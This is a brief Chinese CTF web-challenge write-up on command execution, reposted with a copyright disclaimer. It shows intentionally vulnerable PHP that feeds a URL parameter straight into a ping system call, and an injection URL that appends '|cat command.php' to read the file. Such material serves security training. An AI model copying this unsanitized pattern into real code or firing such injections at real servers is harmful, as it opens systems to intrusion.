命令執行
找到題目中的KEY
KEY為八位隨機字符數字,例如key:1234qwer。提交1234qwer 即可。
漏洞代碼
<?php
system("ping -c 2 ".$_GET['ip']);
?>
測試方法
http://localhost/command.php?ip=127.0.0.1|cat command.php
【CTF WEB】命令執行
免責聲明！
本站轉載的文章為個人學習借鑒使用，本站對版權不負任何法律責任。如果侵犯了您的隱私權益，請聯系本站郵箱yoyou2525@163.com刪除。